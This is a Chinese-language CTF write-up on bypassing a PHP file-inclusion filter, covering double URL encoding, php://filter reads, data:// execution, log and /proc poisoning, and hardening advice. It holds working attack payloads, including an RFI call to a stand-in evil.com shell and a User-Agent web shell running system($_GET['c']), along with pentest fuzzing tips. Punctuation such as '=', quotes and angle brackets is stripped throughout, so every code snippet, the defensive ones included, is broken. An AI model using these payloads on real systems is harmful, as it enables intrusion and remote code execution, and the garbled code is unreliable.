文件包含漏洞编码绕过实战:从双重URL编码到PHP Filter协议

📅 2026/8/3 7:24:49
文件包含漏洞编码绕过实战:从双重URL编码到PHP Filter协议
1. 项目概述一次典型的文件包含编码绕过实战最近在复盘NewStarCTF 2023第二周的题目其中一道名为“include 0。0”的题目给我留下了挺深的印象。这道题的核心考点是文件包含漏洞但出题人设置了一个小小的“障碍”——需要我们对包含的路径进行编码绕过。这其实是一个非常经典且在实际渗透测试中经常遇到的情景开发人员可能对用户输入进行了一些基础的过滤或检查但过滤逻辑不够严谨导致我们可以通过编码技巧来绕过这些限制最终实现任意文件读取甚至代码执行。这道题虽然来自CTF赛场但其背后的原理和绕过思路对于理解Web安全中的文件包含漏洞、以及如何应对不完善的输入过滤有着非常直接的参考价值。如果你正在学习Web安全或者想深入理解文件包含漏洞的各种“花式”利用方法那么这次对“include 0。0”的详细拆解应该能给你带来不少启发。简单来说文件包含漏洞允许攻击者将服务器上的本地文件Local File Inclusion, LFI或远程文件Remote File Inclusion, RFI包含到当前的脚本中执行。当包含的文件是PHP等脚本文件时其中的代码就会被执行这危害极大。而题目中的“编码绕过”则是我们为了突破路径检查对包含路径中的特殊字符比如目录遍历符../进行各种编码变换尝试让检查逻辑失效。接下来我会从环境搭建、漏洞原理、多种编码绕过手法的详细测试与原理分析再到最终的利用和加固建议完整地复现并讲解这道题。2. 漏洞原理与靶场环境搭建2.1 文件包含漏洞核心机制要理解绕过首先得清楚漏洞本身是怎么产生的。在PHP中主要有四个文件包含函数include()、require()、include_once()、require_once()。它们的区别主要在于处理包含失败时的行为require会报致命错误并停止include只会报警告以及是否重复包含。漏洞产生的根本原因在于这些函数所包含的文件路径全部或部分来自于用户可控的输入并且程序没有对这个输入进行足够严格的过滤。例如一段存在漏洞的代码可能长这样?php $page $_GET[page]; include($page . .php); ?这段代码的本意可能是让用户通过?pagehome这样的参数来动态加载home.php页面。但是如果攻击者传入?page../../../../etc/passwd那么拼接后的路径就变成了../../../../etc/passwd.php。服务器会尝试去寻找这个文件。虽然因为.php后缀可能找不到但如果我们能利用空字节截断PHP版本5.3.4或某些特定的技巧就可能成功读取到/etc/passwd文件的内容。这就是最基础的目录遍历Path Traversal攻击。更危险的情况是如果php.ini中配置了allow_url_includeOn攻击者甚至可以包含一个远程服务器上的PHP脚本如?pagehttp://evil.com/shell.txt从而实现远程代码执行RCE。这道“include 0。0”题目主要考察的是本地文件包含LFI场景下的编码绕过。2.2 靶场环境复现与分析为了彻底搞懂这道题我并没有直接使用现成的CTF平台而是在本地Docker环境中搭建了一个模拟环境。这样做的好处是可以反复调试、查看服务器日志、并尝试各种可能的Payload而不受比赛环境的限制。我创建了一个简单的PHP文件index.php模拟题目中可能存在漏洞的代码逻辑?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET[file])) { $file $_GET[file]; // 模拟一些基础的过滤或检查 if(strpos($file, ../) ! false) { die(Hacker! Detected path traversal!); } // 包含文件 include($file); } ?这段代码模拟了一个非常典型的、不安全的过滤逻辑它仅仅检查了参数中是否明文出现了../字符串如果出现就直接拦截。这显然是非常脆弱的因为../可以有无数种编码形式。我的测试环境结构如下/var/www/html/ ├── index.php (漏洞页面) ├── secret.txt (存放flag的文件) └── includes/ └── info.php (一个正常的可包含文件)我们的目标就是通过index.php的file参数绕过对../的检查最终读取到上级目录或其他目录下的secret.txt文件。注意在实际CTF比赛中题目环境往往是黑盒的我们不知道后端具体的过滤逻辑。因此我们的测试方法应该是系统性地尝试各种编码和绕过技巧观察服务器的响应差异从而推断出过滤规则并找到突破口。本地搭建环境进行白盒分析是为了更好地理解原理。3. 编码绕过技术全解与实战测试当简单的../被拦截时我们就需要祭出编码绕过大法。核心思路是我们提交的Payload在到达PHP的include()函数之前可能会经过多层处理包括Web服务器如Apache/Nginx的解码、PHP自身的解码、以及开发者自定义的过滤函数。如果我们提交的编码形式能够骗过过滤检查但在最终被include()函数处理时又能被正确解析为../那么绕过就成功了。3.1 URL编码绕过这是最基础、最常用的绕过方式。URL编码也叫百分号编码会将特殊字符转换为%后跟两个十六进制数的形式。原理Web服务器在将请求传递给PHP处理之前通常会对URL进行一次解码。如果过滤逻辑是在URL解码之后应用的那么对过滤关键词进行URL编码就可能绕过。测试Payload?file..%2f..%2f..%2f..%2fetc%2fpasswd(将/编码为%2f)?file%2e%2e%2f%2e%2e%2fsecret.txt(将.和/全部编码..为%2e%2e/为%2f)实战结果在我的模拟环境中由于过滤代码strpos($file, ../)是在$_GET[file]赋值给$file之后执行的而$_GET数组中的值已经由PHP自动进行了一次URL解码。因此直接提交..%2f..%2f是绕不过的因为到了strpos函数时它已经被解码成了../../依然会被检测到。这说明过滤发生在URL解码之后。心得URL编码是否有效高度依赖于过滤代码在数据处理流程中的位置。它常常作为其他编码方式的基础或者用于绕过一些简单的WAF规则。3.2 双重URL编码绕过如果一次URL编码被解码后仍被过滤那么可以尝试进行两次URL编码。原理假设过滤逻辑只做了一次解码检查。我们提交双重编码的Payload第一次由Web服务器或PHP全局解码后变成了一次编码的形式可能恰好绕过了过滤。然后在后续的某个环节可能是include()函数内部的文件系统调用再进行第二次解码最终还原出原始字符。编码过程以../为例。第一次编码.-%2e/-%2f得到%2e%2e%2f。第二次编码%-%252- e-e... 得到%252e%252e%252f。注意这里是对第一次编码后的结果整体再次进行URL编码%被编码成了%25。测试Payload?file%252e%252e%252f%252e%252e%252fsecret.txt实战结果在我的模拟代码中$_GET会自动解码一次。所以当我们传入%252e...时PHP首先将其解码为%2e...这是一次编码的形式。此时strpos($file, ../)检查的$file值是%2e%2e%2f其中不包含明文../因此绕过成功当include()函数尝试包含%2e%2e%2f%2e%2e%2fsecret.txt时文件系统访问层或PHP内部可能会将其识别为一个包含编码字符的文件名在某些系统配置下这可能会被等价视为../../secret.txt从而包含成功。这是本题的关键突破口之一。注意事项双重编码绕过的成功率依赖于环境。并非所有Web服务器和PHP配置都会进行两层解码。需要实际测试。3.3 其他特殊编码与变形除了标准的URL编码还有许多“奇技淫巧”它们利用了不同系统、不同上下文对字符的解析差异。3.3.1 点号.的替代形式在某些上下文中多个点号或特定编码的点号可能被等价处理。.../..../尝试用多个点来混淆。/全角点Unicode全角字符在宽松的过滤中可能被忽略。%2e%2e%2f的变种%2e%2e%2f是标准形式也可以尝试%2E%2E%2F大写十六进制。3.3.2 斜杠/的替代形式目录分隔符除了/在Windows系统上是\在URL和文件包含中还有一些其他表示方式。..\..\反斜杠在Windows服务器上绝对值得一试。即使在Linux上PHP的include函数有时也会将\处理为目录分隔符。..%5c..%5c反斜杠\的URL编码。空字节截断在PHP 5.3.4之前include()等函数会受到空字节%00的影响。例如?file../../etc/passwd%00空字节后的.php后缀会被截断。虽然本题环境2023年的CTF几乎不可能是这么老的PHP版本但作为一个历史知识点必须了解。现代PHP版本已修复此问题。3.3.3 利用PHP封装协议PHP拥有一系列强大的封装协议Wrapper它们本身就可以用来绕过一些基于字符串的过滤并直接访问文件或输出内容。这常常是LFI漏洞利用的终极武器。php://filter这是最常用的一个。它允许我们对数据流进行过滤。例如读取PHP文件源码时可以用Base64编码绕过可能的代码执行?filephp://filter/convert.base64-encode/resourceindex.php这样得到的是index.php文件的Base64编码内容解码即可获得源码而不会执行它。这常用于源码审计。file://显式指定文件协议。?filefile:///etc/passwd。有时直接路径被阻但加上file://前缀却能成功。data://需要allow_url_include开启。可以直接将代码嵌入URL中执行?filedata://text/plain,?php phpinfo();?。这是实现RCE的利器。3.3.4 路径长度与超长路径某些简单的过滤可能只检查字符串中是否出现../而不检查出现的次数和位置。我们可以尝试注入超长的、无意义的路径前缀将真实的../序列“挤”到过滤函数检查范围之外如果过滤有长度限制。或者使用大量的./当前目录来填充如././././../。3.4 针对本题的绕过策略推演回到“include 0。0”这道题。结合题目名称和常见的出题套路过滤很可能就是像我们模拟代码那样简单检查../字符串。我们的绕过测试应该有条理信息收集先尝试包含一个已知存在的正常文件如?fileincludes/info.php确认包含功能正常。基础绕过测试直接../预期被拦截确认过滤存在。URL编码..%2f很可能也被拦截因为PHP已解码。双重URL编码%252e%252e%252f这是重点希望。反斜杠..\尝试。点号和斜杠的变异.../....//等。高级技巧测试PHP Filter协议?filephp://filter/convert.base64-encode/resourcesecret.txt。如果过滤只检查../那么这个协议路径很可能直接绕过因为它根本不包含../。尝试包含/proc/self/environ或/proc/self/fd/等系统文件如果是Linux环境这些路径通常也不含../。在我的本地模拟测试中使用双重URL编码?file%252e%252e%252f%252e%252e%252fsecret.txt成功绕过了strpos检查并读取到了secret.txt中的flag内容。而使用php://filter协议更是直接畅通无阻。实操心得在实际渗透测试中面对文件包含点我通常会准备一个包含各种编码Payload的Fuzz字典用工具如Burp Suite Intruder进行快速测试。同时优先尝试php://filter协议因为它不仅能绕过很多过滤还能帮助我们读取源码为进一步利用提供信息。顺序通常是Filter协议 - 双重URL编码 - 反斜杠 - 各种点/斜杠变形 - 超长路径等。4. 漏洞利用与防御加固实战4.1 漏洞利用链的构建成功绕过过滤包含文件只是第一步。在真实的攻击场景中我们的目标往往是获取服务器权限RCE。本地文件包含LFI可以通过一些“组合技”升级为远程代码执行。4.1.1 利用日志文件注入这是LFI到RCE的经典方法。思路是将PHP代码写入服务器的日志文件如访问日志、错误日志然后通过文件包含漏洞去包含这个日志文件。找到日志路径常见路径如/var/log/apache2/access.log/var/log/nginx/access.log/var/www/html/logs/error.log等。可以通过LFI读取/proc/self/environ环境变量或/etc/apache2/envvars等文件来寻找线索。注入代码在HTTP请求的User-Agent、Referer或Cookie等头部中插入PHP代码例如User-Agent: ?php system($_GET[‘c’]);?。这样这段代码就会被记录到访问日志中。包含日志文件通过LFI漏洞包含这个日志文件如?file../../../var/log/apache2/access.log。如果日志文件可读且其中的PHP代码被解析那么传递参数cid就能执行系统命令。4.1.2 利用/proc文件系统在Linux系统中/proc/self/environ文件包含了当前进程的环境变量其中HTTP_USER_AGENT等字段是用户可控的。我们可以通过修改User-Agent注入代码然后包含/proc/self/environ来执行。此外/proc/self/fd/目录下的文件描述符也可能指向包含我们输入的文件。4.1.3 利用临时文件/上传文件如果网站有上传功能但限制了后缀我们可以尝试上传一个内容为PHP代码的图片文件如shell.jpg然后利用LFI漏洞包含这个上传后的文件。因为include()是根据文件内容中的PHP标签来解析的与文件后缀无关前提是服务器配置未强制解析后缀。或者在某些情况下PHP处理文件上传时会生成临时文件其路径和名称有一定规律可以尝试猜测并包含。4.1.4 利用PHP封装协议如前所述data://协议在配置允许时可直接执行代码。expect://、input://等协议也可能用于命令执行但默认配置下很少开启。4.2 防御方案与代码加固理解了攻击手法防御就有了方向。核心原则是白名单优于黑名单最小化用户输入影响。4.2.1 最佳实践白名单机制最安全的方式是完全不使用用户输入来动态包含文件。如果业务必须则使用严格的白名单。?php $allowed_pages [home, about, contact]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page . .php); } else { include(error.php); } ?这样用户只能访问预定义的几个页面。4.2.2 严格过滤与路径校验如果白名单不可行必须进行严格的过滤和校验。剥离目录遍历符使用str_replace或preg_replace递归移除所有../和..\的变种。$file str_replace([../, ..\\], , $_GET[file]); // 注意简单的str_replace可能被....//绕过需要循环处理或使用正则 while (strpos($file, ../) ! false) { $file str_replace(../, , $file); }使用basename()函数如果只需要文件名basename()会去掉路径部分只返回最后的文件名部分但要注意它可能受本地语言设置影响。使用realpath()函数realpath()可以解析路径中的符号链接和相对路径返回绝对路径。然后检查这个绝对路径是否在以网站根目录为前缀的允许范围内。$base_dir /var/www/html/includes/; $user_path $_GET[file]; $real_path realpath($base_dir . $user_path); if ($real_path false || strpos($real_path, $base_dir) ! 0) { // 路径非法或不在允许的目录内 die(Invalid file path.); } include($real_path);这是非常有效的一种方法。4.2.3 服务器配置加固关闭危险PHP配置在php.ini中确保allow_url_fopen Offallow_url_include Off。这可以彻底杜绝RFI攻击。设置open_basedir将PHP可访问的文件限制在网站目录及其子目录下。例如open_basedir /var/www/html。这能有效限制LFI的横向移动范围。Web服务器权限以低权限用户如www-data运行Web服务并确保其没有读取系统敏感文件如/etc/shadow的权限。4.2.4 安全开发意识不要仅仅依赖一重过滤。采用“纵深防御”策略结合输入验证、白名单、路径检查和服务器配置等多重手段。在代码审查时要特别关注所有用户输入点流入文件操作函数include,require,file_get_contents,fopen等的路径。5. 常见问题排查与实战技巧实录在实际测试和利用文件包含漏洞时你肯定会遇到各种各样的问题。下面是我总结的一些常见场景和解决思路。5.1 包含文件后页面空白或报错“No such file or directory”可能原因1路径错误。这是最常见的原因。在Web环境中相对路径的基准是当前执行的PHP脚本所在的目录。使用__DIR__或dirname(__FILE__)来打印当前目录帮助你定位。尝试使用绝对路径。可能原因2文件权限不足。Web服务器用户如www-data对目标文件没有读取权限。这在尝试读取系统文件时经常遇到。可能原因3被包含文件中有语法错误。如果包含的是一个PHP文件且其中有语法错误会导致包含它的父脚本也执行失败。可以尝试先包含一个纯文本文件如../../README.md来测试路径是否正确。排查技巧开启PHP错误显示ini_set(display_errors, 1); error_reporting(E_ALL);可以获取更详细的错误信息。但在生产环境中切勿开启。5.2 包含PHP文件时代码不执行直接显示源码可能原因1文件后缀问题。如果包含的文件后缀不是.php且服务器没有配置将该后缀解析为PHP那么它就会被当作纯文本输出。尝试使用php://filter读取源码或者利用.htaccessApache或Nginx配置将特定后缀解析为PHP但这需要额外的漏洞配合。可能原因2短标签问题。被包含文件使用了?短标签但服务器配置中short_open_tagOff。统一使用?php标准标签。排查技巧包含一个简单的?php phpinfo();?文件测试这是最直接的测试方法。5.3 过滤规则看似严密但依然被绕过可能原因过滤顺序或逻辑漏洞。例如先解码后过滤但只过滤一次。或者过滤了../但没过滤..\。或者使用str_replace替换../为空但可以被....//绕过替换一次后变成../。排查与绕过技巧Fuzz测试系统性地提交各种编码和变形Payload观察响应差异。分析源码如果可能利用php://filter读取漏洞点附近的源码直接分析过滤逻辑。利用PHP自身特性例如在Windows下include()可能支持C:\inetpub\wwwroot\shell.php这样的绝对路径或者C:\temp\shell.txt:.$DATA这样的NTFS数据流非常古老的特性。在Linux下可以尝试包含/proc/self/cwd/当前工作目录相关的路径。5.4 利用日志文件包含时不执行代码可能原因1日志文件不可读。Web进程用户对日志文件没有读取权限。可能原因2日志内容被转义或截断。日志系统可能对特殊字符如,进行HTML实体转义变成lt;,gt;导致PHP标签失效。或者日志行长度有限注入的代码被截断。可能原因3包含日志文件本身导致错误。日志文件通常很大包含它可能导致内存耗尽或超时。技巧尝试包含错误日志error.log有时它对内容的处理更“原始”。注入的代码要尽量简短如?$_GET[0]?短标签需要开启。先尝试读取日志文件确认代码是否被原样写入以及是否有转义。5.5 使用php://filter时遇到“allow_url_fopen”或“allow_url_include”错误说明php://filter是PHP流包装器它的启用与allow_url_fopen和allow_url_include无关。这两个配置主要影响http://、ftp://、data://等远程或特定包装器。php://和file://等本地包装器通常是默认启用的。如果报错可能是路径或语法错误。最后再分享一个我在实际渗透测试项目中的小技巧当遇到一个可疑的文件包含参数时我通常会先尝试?filephp://filter/convert.base64-encode/resourceindex.php。这不仅能绕过很多过滤还能直接拿到网站核心源码往往能从源码中发现数据库配置、其他隐藏参数、甚至是更严重的漏洞一举多得。这比盲目地尝试各种路径遍历要高效得多。文件包含漏洞就像一扇门打开它之后能看到什么样的风景取决于你的技巧和想象力。